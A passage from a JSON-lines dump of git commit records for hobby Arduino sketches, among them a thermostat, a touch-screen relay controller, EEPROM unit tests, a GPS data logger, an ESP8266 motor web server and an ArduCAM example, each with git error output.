{{16,24,64,68,0,8,0,112},{16,206,166,130,2,8,0,63}};\n \/\/ {16,24,64,68,0,8,0,112} Temp Sensor 1\n \/\/ {16,206,166,130,2,8,0,63} Temp Sensor 2\nint busPin = 2; \/\/ Data bus for One Wire Comms\nint upPin = 3; \/\/ Pin used to increase set temp\nint downPin = 4; \/\/ Pin used to decrease set temp\nint numOfDevices = 2; \/\/ How many sensors are in loop\nint high = 80; \/\/ This is the default high temp setting\nint low = 70; \/\/ This is the default low temp setting\nlong currentTemp = 0.0; \/\/ Highest or lowest temp depending on mode\nboolean mode = 1; \/\/ Heat or Cool\nint serialSpeed = 9600; \/\/ Default serial comm speed\nString heat = \"Heat\";\nString cool = \"Cool\";\nString currentMode = heat;\nint tempSetpoint = 75; \/\/ Default temperature setpoint on a reboot\nboolean val; \/\/ Variable for user input\nlong oldTemp = 0;\n\n\/\/ -------------Library Interaction--------------\n\/\/ Data wire is plugged into busPin on the Arduino\n#define ONE_WIRE_BUS busPin\n\/\/ Setup a oneWire instance to communicate with any OneWire devices (not just Maxim\/Dallas temperature ICs)\nOneWire oneWire(ONE_WIRE_BUS);\n\/\/ Pass our oneWire reference to Dallas Temperature. \nDallasTemperature sensors(&oneWire);\n\/\/void wdt_reset(void);\n\n\/\/ arrays to hold device address\nDeviceAddress insideThermometer = { 0x10, 0x39, 0xe2, 0x82, 0x02, 0x08, 0x00, 0x3e };\n\n\n\n\/\/ --------------SETUP-----------------------\nvoid setup(){\n\n pinMode(busPin,INPUT);\n pinMode(upPin,INPUT);\n pinMode(downPin,INPUT);\n Serial.begin(serialSpeed);\n\n \/\/ Start up the library\n sensors.begin(); \/\/ IC Default 9 bit. If you have troubles consider upping it 12. Ups the delay\n\n}\n\n\/\/ --------------------MAIN------------------\nvoid loop(){\n \/\/Serial.println(\"Getting Temperature Data...\");\n \/\/delay(100);\n if (getTemp() == true) {\n Serial.print(\"Current Temperature is: \");\n Serial.println(currentTemp);\n }\n \n if (getSetPoint() == true) {\n Serial.print(\"Current setpoint is: \");\n Serial.println(tempSetpoint);\n }\n \n}\n\nboolean getTemp(){\n currentTemp = 0;\n long temp = 0;\n sensors.requestTemperatures(); \/\/ Send the command to get temperatures\n \n for(int x = 0; x < numOfDevices; x++){\n \/\/ ------------FOLLOWING LINES FOR TESTING ONLY\n \/\/Serial.print(\"Sensor \");\n \/\/Serial.print(x);\n \/\/Serial.print(\" reports: \");\n \/\/Serial.println(sensors.getTempF(addrs[x]));\n temp = sensors.getTempF(addrs[x]);\n if(temp > currentTemp){\n currentTemp = temp;\n } \n }\n if (currentTemp != oldTemp) {\n oldTemp = currentTemp;\n return true;\n }\n else {\n return false;\n }\n}\n\nboolean getSetPoint(){\n val = digitalRead(upPin);\n if (val == LOW) {\n while (val == LOW) {\n val = digitalRead(upPin);\n }\n tempSetpoint = tempSetpoint + 1;\n return true;\n }\n val = digitalRead(downPin);\n if (val == LOW) {\n while (val == LOW) {\n val = digitalRead(downPin);\n }\n tempSetpoint = tempSetpoint - 1;\n return true;\n }\n return false;\n}\n \n\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6384fb73dcf028c2b43b427eb1deca87a914f414","subject":"+ \u2018Touch_Screen\/Touch_Screen.ino\u2019","message":"+ \u2018Touch_Screen\/Touch_Screen.ino\u2019\n","repos":"Bakpakr\/Relay-Box","old_file":"Touch_Screen\/Touch_Screen.ino","new_file":"Touch_Screen\/Touch_Screen.ino","new_contents":"\/* This is my Sketch for the Touch Screen interface for the relay box that will be installed in my Jeep\n Robert L. Wardecker\n cna2rn@gmail.com\n This code is in public domain\n*\/\n\n#include <SoftwareSerial.h>\n#include <Nextion.h>\n\n\n\nconst int relayaPin = 52;\nconst int relaybPin = 53;\nconst int relaycPin = 50;\nconst int relaydPin = 51;\n\n\nSoftwareSerial nextion(10, 11);\/\/ Nextion TX to pin 10 and RX to pin 11 of Arduino\n\nNextion myNextion(nextion, 9600); \/\/create a Nextion object named myNextion using the nextion serial port @ 9600bps\n\nboolean button1State;\nboolean button2State;\nboolean button3State;\nboolean button4State;\nboolean button5State;\n\n\nvoid setup() {\n\n Serial.begin(9600);\n myNextion.init(); \/\/ send the initialization commands for Page 0\n\n pinMode(relayaPin, OUTPUT);\n pinMode(relaybPin, OUTPUT);\n pinMode(relaycPin, OUTPUT);\n pinMode(relaydPin, OUTPUT);\n\n}\n\nvoid loop() {\n\n String message = myNextion.listen(); \/\/check for message\n\n \/\/52\" Lightbar\n if (message == \"65 0 1 1 ffff ffff ffff\") {\n myNextion.buttonToggle(button1State, \"b0\", 0, 2);\n\n if (button1State == HIGH) {\n \/\/ turn Relay on:\n digitalWrite(relayaPin, HIGH);\n } else {\n \/\/ turn Relay off:\n digitalWrite(relayaPin, LOW);\n }\n }\n\n \/\/6\" Pods\n if (message == \"65 0 2 1 ffff ffff ffff\") {\n myNextion.buttonToggle(button2State, \"b1\", 0, 2);\n if (button2State == HIGH) {\n \/\/ turn Relay on:\n digitalWrite(relaybPin, HIGH);\n } else {\n \/\/ turn Relay off:\n digitalWrite(relaybPin, LOW);\n }\n }\n\n \/\/Fender Pods\n if (message == \"65 0 3 1 ffff ffff ffff\") {\n myNextion.buttonToggle(button3State, \"b2\", 0, 2);\n if (button3State == HIGH) {\n \/\/ turn Relay on:\n digitalWrite(relaycPin, HIGH);\n } else {\n \/\/ turn Relay off:\n digitalWrite(relaycPin, LOW);\n }\n }\n\n \/\/Rock Lights\n if (message == \"65 0 4 1 ffff ffff ffff\") {\n myNextion.buttonToggle(button4State, \"b3\", 0, 2);\n if (button4State == HIGH) {\n \/\/ turn Relay on:\n digitalWrite(relaydPin, HIGH);\n } else {\n \/\/ turn Relay off:\n digitalWrite(relaydPin, LOW);\n }\n }\n\n \/\/All On\n if (message == \"65 0 5 1 ffff ffff ffff\") {\n myNextion.buttonToggle(button5State, \"b4\", 0, 2);\n\n if (button5State == HIGH) {\n digitalWrite(relayaPin, HIGH);\n digitalWrite(relaybPin, HIGH);\n digitalWrite(relaycPin, HIGH);\n digitalWrite(relaydPin, HIGH);\n }\n else {\n digitalWrite(relayaPin, LOW);\n digitalWrite(relaybPin, LOW);\n digitalWrite(relaycPin, LOW);\n digitalWrite(relaydPin, LOW);\n }\n }\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Touch_Screen\/Touch_Screen.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"072b11261efd45a4d8292db0df57f1770687ee7c","subject":"Added ValueEeprom unit tests","message":"Added ValueEeprom unit tests\n","repos":"ozbotics\/Value","old_file":"test\/testValueEeprom\/testValueEeprom.ino","new_file":"test\/testValueEeprom\/testValueEeprom.ino","new_contents":"#line 2 \"testValue.ino\"\n#include <ArduinoUnit.h>\n#include <EEPROMex.h>\n\n#include <Value.h>\n#include <ValueEeprom.h>\n\nValueEeprom<bool> boolVal1;\nValueEeprom<int> intVal1;\nValueEeprom<float> floatVal1(5,2);\n\nchar outBuf[80];\n\ntest(bool_persist)\n{\n boolVal1.initValue(false);\n assertFalse(boolVal1.getValue());\n\n boolVal1.setValue(true);\n assertTrue(boolVal1.hasChanged());\n\n boolVal1.persistValue();\n assertFalse(boolVal1.hasChanged());\n\n boolVal1.setValue(false);\n assertTrue(boolVal1.hasChanged());\n\n boolVal1.revertValue();\n assertTrue(boolVal1.getValue());\n assertFalse(boolVal1.hasChanged());\n\n boolVal1.initValue(false);\n assertFalse(boolVal1.getValue());\n assertFalse(boolVal1.hasChanged());\n}\n\ntest(bool_eeprom_address)\n{\n assertEqual(boolVal1.getEepromAddress(), 0);\n}\n\n\ntest(int_persist)\n{\n intVal1.initValue(0);\n assertFalse(intVal1.getValue());\n\n intVal1.setValue(10);\n assertTrue(intVal1.hasChanged());\n\n intVal1.persistValue();\n assertFalse(intVal1.hasChanged());\n\n intVal1.setValue(0);\n assertTrue(intVal1.hasChanged());\n\n intVal1.revertValue();\n assertTrue(intVal1.getValue());\n assertFalse(intVal1.hasChanged());\n\n intVal1.initValue(0);\n assertFalse(intVal1.getValue());\n assertFalse(intVal1.hasChanged());\n}\n\ntest(int_eeprom_address)\n{\n assertEqual(intVal1.getEepromAddress(), 1);\n}\n\n\ntest(float_persist)\n{\n floatVal1.initValue(0.0);\n assertFalse(floatVal1.getValue());\n\n floatVal1.setValue(10.0);\n assertTrue(floatVal1.hasChanged());\n\n floatVal1.persistValue();\n assertFalse(floatVal1.hasChanged());\n\n floatVal1.setValue(0.0);\n assertTrue(floatVal1.hasChanged());\n\n floatVal1.revertValue();\n assertTrue(floatVal1.getValue());\n assertFalse(floatVal1.hasChanged());\n\n floatVal1.initValue(0.0);\n assertFalse(floatVal1.getValue());\n assertFalse(floatVal1.hasChanged());\n}\n\ntest(float_eeprom_address)\n{\n assertEqual(floatVal1.getEepromAddress(), 3);\n}\n\n\nvoid setup()\n{\n Serial.begin(9600);\n while(!Serial); \/\/ for the Arduino Leonardo\/Micro only\n}\n\nvoid loop()\n{\n Test::run();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test\/testValueEeprom\/testValueEeprom.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e0080fc7174fa951b72ba1d95e1937774d36176b","subject":"Import of current code","message":"Import of current code\n","repos":"adein\/arduino_data_logger","old_file":"ivd\/ivd.ino","new_file":"ivd\/ivd.ino","new_contents":"#include <Adafruit_GPS.h>\n#include <SoftwareSerial.h>\n#include <SD.h>\n\n\n#define V_REF 5.0\n#define VOLTAGE_MULTIPLIER 11.0\n#define CURRENT_MULTIPLIER 100.0\n#define CURRENT_OFFSET 2.5\n#define ADC_STATES 1024.0\n#define VOLTAGE_PIN A2\n#define CURRENT_PIN A5\n#define GPSECHO false\n#define LOGGING_DELAY 1000\n\n\nSoftwareSerial gpsSerial(8, 7);\nAdafruit_GPS GPS(&gpsSerial);\nuint32_t timer = millis();\nFile logFile;\n\n\nvoid setup() {\n \/\/ connect at 115200 so we can read the GPS fast enough\n Serial.begin(115200);\n while (!Serial); \/\/ wait for leo to be ready\n\n \/\/ SD card: pin 10 for chip select, 11 for MOSI, 12 for MISO and 13 for SCK\n \/\/if (!SD.begin(10)) {\n if (!SD.begin(10, 11, 12, 13)) {\n Serial.println(\"SD initialization failed!\");\n return;\n }\n logFile = SD.open(\"data.csv\", FILE_WRITE);\n if (!logFile) {\n Serial.println(\"Failed to open log file!\");\n }\n \n \/\/ 9600 NMEA is the default baud rate for Adafruit MTK GPS's\n GPS.begin(9600);\n \n \/\/ uncomment this line to turn on RMC (recommended minimum) and GGA (fix data) including altitude\n GPS.sendCommand(PMTK_SET_NMEA_OUTPUT_RMCGGA);\n \/\/ uncomment this line to turn on only the \"minimum recommended\" data\n \/\/GPS.sendCommand(PMTK_SET_NMEA_OUTPUT_RMCONLY);\n \/\/ For parsing data, we don't suggest using anything but either RMC only or RMC+GGA since\n \/\/ the parser doesn't care about other sentences at this time\n \n \/\/ Set the update rate\n GPS.sendCommand(PMTK_SET_NMEA_UPDATE_1HZ); \/\/ 1 Hz update rate\n \/\/ For the parsing code to work nicely and have time to sort thru the data, and\n \/\/ print it out we don't suggest using anything higher than 1 Hz \n delay(1000);\n \n pinMode(VOLTAGE_PIN, INPUT);\n pinMode(CURRENT_PIN, INPUT);\n}\n\nvoid log_data(float latitude, float longitude, float speed, float angle, float altitude, float voltage, float current) {\n unsigned long time = millis();\n if (logFile) {\n logFile.print(time);\n logFile.print(\", \");\n logFile.print(latitude, 4);\n logFile.print(\", \");\n logFile.print(longitude, 4);\n logFile.print(\", \");\n logFile.print(speed, 2);\n logFile.print(\", \");\n logFile.print(angle, 2);\n logFile.print(\", \");\n logFile.print(altitude, 2);\n logFile.print(\", \");\n logFile.print(voltage, 2);\n logFile.print(\", \");\n logFile.println(current, 2);\n logFile.flush();\n }\n\n \/*Serial.print(\"\\nTime: \");\n Serial.print(GPS.hour, DEC); Serial.print(':');\n Serial.print(GPS.minute, DEC); Serial.print(':');\n Serial.print(GPS.seconds, DEC); Serial.print('.');\n Serial.println(GPS.milliseconds);\n Serial.print(\"Date: \");\n Serial.print(GPS.day, DEC); Serial.print('\/');\n Serial.print(GPS.month, DEC); Serial.print(\"\/20\");\n Serial.println(GPS.year, DEC);\n Serial.print(\"Fix: \"); Serial.print((int)GPS.fix);\n Serial.print(\" quality: \"); Serial.println((int)GPS.fixquality); \n Serial.print(\"Satellites: \"); Serial.println((int)GPS.satellites);\n\n Serial.print(time);\n Serial.print(\", \");\n Serial.print(latitude);\n Serial.print(\", \");\n Serial.print(longitude);\n Serial.print(\", \");\n Serial.print(speed);\n Serial.print(\", \");\n Serial.print(altitude);\n Serial.print(\", \");\n Serial.print(voltage);\n Serial.print(\", \");\n Serial.println(current);*\/\n}\n\nvoid loop() {\n char c = GPS.read();\n \/\/ if you want to debug, this is a good time to do it!\n if ((c) && (GPSECHO))\n Serial.write(c); \n \n \/\/ if a sentence is received, we can check the checksum, parse it...\n if (GPS.newNMEAreceived()) { \n if (!GPS.parse(GPS.lastNMEA())) \/\/ this also sets the newNMEAreceived() flag to false\n return; \/\/ we can fail to parse a sentence in which case we should just wait for another\n }\n \n \/\/ if millis() or timer wraps around, we'll just reset it\n if (timer > millis()) timer = millis();\n \n if (millis() - timer > LOGGING_DELAY) {\n timer = millis(); \/\/ reset the timer\n float voltage = 0.0; \/\/ calculated voltage\n float current = 0.0; \/\/ calculated current\n float latitude = 0.0;\n float longitude = 0.0;\n float speed = 0.0; \/\/ in knots\n float angle = 0.0;\n float altitude = 0.0; \/\/ in meters\n if (GPS.fix) {\n latitude = GPS.latitude \/ 100.0;\n longitude = GPS.longitude \/ 100.0;\n speed = GPS.speed;\n angle = GPS.angle;\n altitude = GPS.altitude;\n }\n\n int voltsValue = analogRead(VOLTAGE_PIN);\n int currentValue = analogRead(CURRENT_PIN);\n \n \/\/ calculate the voltage\n voltage = ((float)voltsValue * V_REF) \/ ADC_STATES * VOLTAGE_MULTIPLIER;\n \/\/ calculate the current\n current = (((float)currentValue * V_REF) \/ ADC_STATES - CURRENT_OFFSET) * CURRENT_MULTIPLIER;\n\n log_data(latitude, longitude, speed, angle, altitude, voltage, current);\n \/\/ TODO: get pedal positions\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ivd\/ivd.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"141c81e7db52a919a6201b7f15521d1d1e700ad7","subject":"Spectacle RC1 with NOTE OFF feature","message":"Spectacle RC1 with NOTE OFF feature\n","repos":"TheBeachLab\/BeachLab_midi-spectacle-arduino","old_file":"Software\/MIDI_IN\/MIDI_IN.ino","new_file":"Software\/MIDI_IN\/MIDI_IN.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TheBeachLab\/BeachLab_midi-spectacle-arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ab666e6909c5e39b744c3cb4e25ffaea1ce9a558","subject":"cleaned out sensitive info","message":"cleaned out sensitive info\n","repos":"nouyang\/robot_esp8266-12E,nouyang\/robot_esp8266-12E","old_file":"laptop_wifi_motor_helloworld\/laptop_wifi_motor_helloworld.ino","new_file":"laptop_wifi_motor_helloworld\/laptop_wifi_motor_helloworld.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n#include <ESP8266mDNS.h>\n\n\/\/ !! Hardcoded Wireless Setup\nconst char* ssid = \".....\";\nconst char* password = \"....\";\n\nconst int speed = 0;\n\nESP8266WebServer server(80);\n\nconst int LED_PIN = D0;\n\nconst int MOTOR_PWM_LEFT = D1;\nconst int MOTOR_PWM_RIGHT = D2;\n\nconst int MOTOR_DIR_LEFT = D3;\nconst int MOTOR_DIR_RIGHT = D4;\n\n#define MOTOR_CW LOW\n#define MOTOR_CCW HIGH\n\nvoid setup(void){\n \/\/ Setup motor and LED pins\n pinMode(MOTOR_PWM_LEFT, OUTPUT);\n pinMode(MOTOR_PWM_RIGHT, OUTPUT);\n pinMode(MOTOR_DIR_LEFT, OUTPUT);\n pinMode(MOTOR_DIR_RIGHT, OUTPUT);\n\n pinMode(LED_PIN, OUTPUT);\n\n \/\/ Set initial speed to 0\n analogWrite(MOTOR_PWM_LEFT, 0);\n analogWrite(MOTOR_PWM_RIGHT, 0);\n\n Serial.begin(115200);\n Serial.println(\"\");\n\n \/\/ Set up WIFI\n WiFi.begin(ssid, password);\n\n \/\/ Wait for connection\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n Serial.println(\"\");\n Serial.print(\"Connected to \");\n Serial.println(ssid);\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n\n if (MDNS.begin(\"esp8266\")) {\n Serial.println(\"MDNS responder started\");\n }\n\n \/\/\n \/\/ Handle URLs\n \/\/\n\n server.on(\"\/\", handleRoot);\n\n server.on(\"\/inline\", [](){\n server.send(200, \"text\/plain\", \"this works as well\");\n });\n\n server.on(\"\/motor\", [](){\n String state = server.arg(\"state\");\n analogWrite(MOTOR_PWM_LEFT, state.toInt());\n analogWrite(MOTOR_PWM_RIGHT, state.toInt());\n server.send(200, \"text\/plain\", \"Motor is now \" + state);\n });\n\n server.onNotFound(handleNotFound);\n\n server.begin();\n Serial.println(\"HTTP server started\");\n}\n\n\n\nvoid loop(void){\n server.handleClient();\n}\n\n\n\nvoid handleRoot() {\n server.send(200, \"text\/plain\", \"hello from esp8266!\");\n}\n\nvoid handleNotFound(){\n String message = \"File Not Found\\n\\n\";\n message += \"URI: \";\n message += server.uri();\n message += \"\\nMethod: \";\n message += (server.method() == HTTP_GET)?\"GET\":\"POST\";\n message += \"\\nArguments: \";\n message += server.args();\n message += \"\\n\";\n for (uint8_t i=0; i<server.args(); i++){\n message += \" \" + server.argName(i) + \": \" + server.arg(i) + \"\\n\";\n }\n server.send(404, \"text\/plain\", message);\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'laptop_wifi_motor_helloworld\/laptop_wifi_motor_helloworld.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"70ee76cc70f16ba3729dd6bc2f720327435ed892","subject":"Add ArduCAM mini 2MP Low Power example","message":"Add ArduCAM mini 2MP Low Power example\n","repos":"Oitzu\/Arduino,Oitzu\/Arduino,timkrentz\/SunTracker,timkrentz\/SunTracker,timkrentz\/SunTracker,ArduCAM\/Arduino,timkrentz\/SunTracker,ArduCAM\/Arduino,timkrentz\/SunTracker,timkrentz\/SunTracker,timkrentz\/SunTracker,ArduCAM\/Arduino,Oitzu\/Arduino,timkrentz\/SunTracker","old_file":"ArduCAM\/examples\/mini\/ArduCAM_Mini_OV2640_LowPowerMode\/ArduCAM_Mini_OV2640_LowPowerMode.ino","new_file":"ArduCAM\/examples\/mini\/ArduCAM_Mini_OV2640_LowPowerMode\/ArduCAM_Mini_OV2640_LowPowerMode.ino","new_contents":"#include <Wire.h>\n#include <ArduCAM.h>\n#include <SPI.h>\n#include \"memorysaver.h\"\n\n\/\/ set pin 4 as the slave select for the digital pot:\nconst int CS = 4;\n\nArduCAM myCAM(OV2640,CS);\n\nvoid setup() {\n uint8_t vid,pid;\n uint8_t temp;\n#if defined (__AVR__)\n Wire.begin(); \n#endif\n#if defined(__arm__)\n Wire1.begin();\n#endif \n Serial.begin(921600);\n Serial.println(\"ArduCAM Start!\"); \n\n \/\/ set the SPI_CS as an output:\n pinMode(CS, OUTPUT);\n\n \/\/ initialize SPI:\n SPI.begin(); \n \/\/Check if the ArduCAM SPI bus is OK\n myCAM.write_reg(ARDUCHIP_TEST1, 0x55);\n temp = myCAM.read_reg(ARDUCHIP_TEST1);\n\n if(temp != 0x55)\n {\n \tSerial.println(\"SPI1 interface Error!\");\n \t\/\/while(1);\n }\n \n myCAM.set_mode(MCU2LCD_MODE);\n\n \/\/Check if the camera module type is OV2640\n myCAM.rdSensorReg8_8(OV2640_CHIPID_HIGH, &vid);\n myCAM.rdSensorReg8_8(OV2640_CHIPID_LOW, &pid);\n\n if((vid != 0x26) || (pid != 0x42))\n \tSerial.println(\"Can't find OV2640 module!\");\n else\n \tSerial.println(\"OV2640 detected.\");\n \n \/\/Change to JPEG capture mode and initialize the OV5642 module\t\n myCAM.set_format(JPEG);\n myCAM.InitCAM();\n myCAM.OV2640_set_JPEG_size(OV2640_320x240);\n myCAM.clear_fifo_flag();\n myCAM.write_reg(ARDUCHIP_FRAMES,0x00);\n myCAM.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\/\/enable low power\n}\n\nvoid loop() {\n uint8_t temp,temp_last;\n uint8_t start_capture = 0;\n bool is_header = false;\n\n temp = Serial.read();\n switch(temp)\n {\n case 0:\n myCAM.clear_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n myCAM.OV2640_set_JPEG_size(OV2640_160x120);\n myCAM.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n break;\n case 1:\n myCAM.clear_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n myCAM.OV2640_set_JPEG_size(OV2640_176x144);\n myCAM.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n break;\n case 2:\n myCAM.clear_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n myCAM.OV2640_set_JPEG_size(OV2640_320x240);\n myCAM.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n break;\n case 3:\n myCAM.clear_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n myCAM.OV2640_set_JPEG_size(OV2640_352x288);\n myCAM.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n break;\n case 4:\n myCAM.clear_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n myCAM.OV2640_set_JPEG_size(OV2640_640x480);\n myCAM.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n break;\n case 5:\n myCAM.clear_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n myCAM.OV2640_set_JPEG_size(OV2640_800x600);\n myCAM.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n break;\n case 6:\n myCAM.clear_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n myCAM.OV2640_set_JPEG_size(OV2640_1024x768);\n myCAM.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n break;\n case 7:\n myCAM.clear_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n myCAM.OV2640_set_JPEG_size(OV2640_1280x1024);\n myCAM.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n break;\n case 8:\n myCAM.clear_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n myCAM.OV2640_set_JPEG_size(OV2640_1600x1200);\n myCAM.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n break;\n case 0x10:\n start_capture = 1; \n Serial.println(\"CAM1 start single shot.\");\n myCAM.clear_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\/\/disable low power\n \n delay(800);\n break;\n default:\n break;\n }\n if(start_capture == 1)\n {\n myCAM.flush_fifo();\n myCAM.clear_fifo_flag();\t \n \/\/Start capture\n myCAM.start_capture();\n start_capture = 0;\n }\n if(myCAM.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK))\n {\n myCAM.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n Serial.println(\"CAM Capture Done!\");\n \n uint32_t length = 0;\n length = myCAM.read_fifo_length();\n Serial.println(length);\n if(length >= 393216 ) \/\/ 384kb\n {\n Serial.println(\"Over size.\");\n myCAM.clear_fifo_flag();\n return;\n }\n \n if(length == 0 ) \/\/0 kb\n {\n Serial.println(\"Size is 0.\");\n myCAM.clear_fifo_flag();\n return;\n }\n \n temp = 0;\n while( (temp != 0xD9) | (temp_last != 0xFF) )\n {\n temp_last = temp;\n \ttemp = myCAM.read_fifo();\n \tif(is_header == true)\n {\n \t Serial.write(temp);\n }\n else if((temp == 0xD8) & (temp_last == 0xFF))\n {\n is_header = true;\n Serial.write(temp_last);\n Serial.write(temp);\n }\n delayMicroseconds(8);\n }\n \/\/Clear the capture done flag \n myCAM.clear_fifo_flag();\n \n is_header = false;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduCAM\/examples\/mini\/ArduCAM_Mini_OV2640_LowPowerMode\/ArduCAM_Mini_OV2640_LowPowerMode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8c2264b6a34b7a1b523fe85596fe351eb50ec792","subject":"Update WeatherShieldJson.ino","message":"Update WeatherShieldJson.ino","repos":"jomolinare\/connectthedots,jmservera\/connectthedots,ZingPow\/connectthedots,noopkat\/connectthedots,jessejjohnson\/connectthedots,noopkat\/connectthedots,Azure\/connectthedots,MSOpenTech\/connectthedots,ZingPow\/connectthedots,BretStateham\/connectthedots,radiojam11\/connectthedots,beeva-marianmoldovan\/connectthedots,Azure\/connectthedots,radiojam11\/connectthedots,pietrobr\/connectthedots,jmservera\/connectthedots,zack076\/connectthedots,noopkat\/connectthedots,jessejjohnson\/connectthedots,HydAu\/AzureConnectTheDots,MSOpenTech\/connectthedots,jeffwilcox\/connectthedots,beeva-marianmoldovan\/connectthedots,radiojam11\/connectthedots,pietrobr\/connectthedots,BretStateham\/connectthedots,HydAu\/AzureConnectTheDots,jessejjohnson\/connectthedots,jmservera\/connectthedots,Azure\/connectthedots,jmservera\/connectthedots,pietrobr\/connectthedots,jeffwilcox\/connectthedots,radiojam11\/connectthedots,BretStateham\/connectthedots,yashchandak\/connectthedots,jmservera\/connectthedots,beeva-marianmoldovan\/connectthedots,jessejjohnson\/connectthedots,noopkat\/connectthedots,jomolinare\/connectthedots,pietrobr\/connectthedots,HydAu\/ConnectTheDots2,Azure\/connectthedots,MSOpenTech\/connectthedots,yashchandak\/connectthedots,beeva-marianmoldovan\/connectthedots,jeffwilcox\/connectthedots,zack076\/connectthedots,jomolinare\/connectthedots,HydAu\/ConnectTheDots2,MSOpenTech\/connectthedots,BretStateham\/connectthedots,pietrobr\/connectthedots,HydAu\/ConnectTheDots2,jessejjohnson\/connectthedots,jeffwilcox\/connectthedots,jeffwilcox\/connectthedots,ZingPow\/connectthedots,yashchandak\/connectthedots,beeva-marianmoldovan\/connectthedots,MSOpenTech\/connectthedots,noopkat\/connectthedots,jeffwilcox\/connectthedots,HydAu\/AzureConnectTheDots,BretStateham\/connectthedots,MSOpenTech\/connectthedots,noopkat\/connectthedots,zack076\/connectthedots,HydAu\/ConnectTheDots2,Azure\/connectthedots,BretStateham\/connectthedots,radiojam11\/connectthedots,pietrobr\/connectthedots,zack076\/connectthedots,noopkat\/connectthedots,yashchandak\/connectthedots,HydAu\/ConnectTheDots2,yashchandak\/connectthedots,jessejjohnson\/connectthedots,jmservera\/connectthedots,zack076\/connectthedots,ZingPow\/connectthedots,jomolinare\/connectthedots,radiojam11\/connectthedots,Azure\/connectthedots,HydAu\/AzureConnectTheDots,Azure\/connectthedots,BretStateham\/connectthedots,zack076\/connectthedots,jomolinare\/connectthedots,yashchandak\/connectthedots,jomolinare\/connectthedots,HydAu\/AzureConnectTheDots,HydAu\/AzureConnectTheDots,ZingPow\/connectthedots,ZingPow\/connectthedots,HydAu\/ConnectTheDots2,beeva-marianmoldovan\/connectthedots","old_file":"Devices\/GatewayConnectedDevices\/Arduino UNO\/Weather\/WeatherShieldJson\/WeatherShieldJson.ino","new_file":"Devices\/GatewayConnectedDevices\/Arduino UNO\/Weather\/WeatherShieldJson\/WeatherShieldJson.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Devices\/GatewayConnectedDevices\/Arduino' did not match any file(s) known to git\nerror: pathspec 'UNO\/Weather\/WeatherShieldJson\/WeatherShieldJson.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e20155dabc2773b55e60df582e74425b98315d5a","subject":"speech to text sample","message":"speech to text sample\n","repos":"JimGaleForce\/virtual-shields-arduino,ashumeow\/virtual-shields-arduino,ms-iot\/virtual-shields-arduino,ashumeow\/virtual-shields-arduino,ashumeow\/virtual-shields-arduino,zfields\/virtual-shields-arduino,zfields\/virtual-shields-arduino,ashumeow\/virtual-shields-arduino,JimGaleForce\/virtual-shields-arduino,ms-iot\/virtual-shields-arduino","old_file":"VirtualShield\/examples\/Basic-Speech-To-Text\/Basic-Speech-To-Text.ino","new_file":"VirtualShield\/examples\/Basic-Speech-To-Text\/Basic-Speech-To-Text.ino","new_contents":"\/*\n Copyright(c) Microsoft Open Technologies, Inc. All rights reserved.\n\n The MIT License(MIT)\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files(the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and \/ or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions :\n\n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE\n AUTHORS OR 